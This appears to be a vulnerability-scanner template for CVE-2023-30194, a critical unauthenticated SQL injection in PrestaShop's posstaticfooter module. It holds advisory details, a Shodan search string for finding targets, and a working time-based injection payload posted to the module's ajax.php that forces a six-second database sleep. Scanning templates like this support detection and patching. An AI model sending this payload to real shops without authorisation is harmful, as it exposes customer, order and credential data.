id: CVE-2023-30194

info:
  name: Prestashop posstaticfooter <= 1.0.0 - SQL Injection
  author: daffainfo
  severity: critical
  description: |
    Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database.
  remediation: |
    Upgrade to the latest version of the posstaticfooter module from posthemes.
  reference:
    - https://friends-of-presta.github.io/security-advisories/modules/2023/05/09/posstaticfooter.html
    - https://themeforest.net/user/posthemes/portfolio
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30194
    epss-score: 0.32413
    epss-percentile: 0.98107
    cwe-id: CWE-89
    cpe: cpe:2.3:a:prestashop:poststaticfooter:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: prestashop
    product: poststaticfooter
    shodan-query: html:"posstaticfooter"
  tags: cve,cve2023,prestashop,poststaticfooter,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'prestashop'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /modules/posstaticfooter/ajax.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare`b`from@a;execute`b`;--

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - contains(body, '\"[]\"')
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100a8117b9d01384b63ec3d236d40f298505a73c57d42088375057f91c6ad45b83c022100a2ddae9c8ea222a3ccc57bffa37f6136c3618bb6cd0fd87128c69b73b3ea4c7a:922c64590222798bb761d5b6d8e72950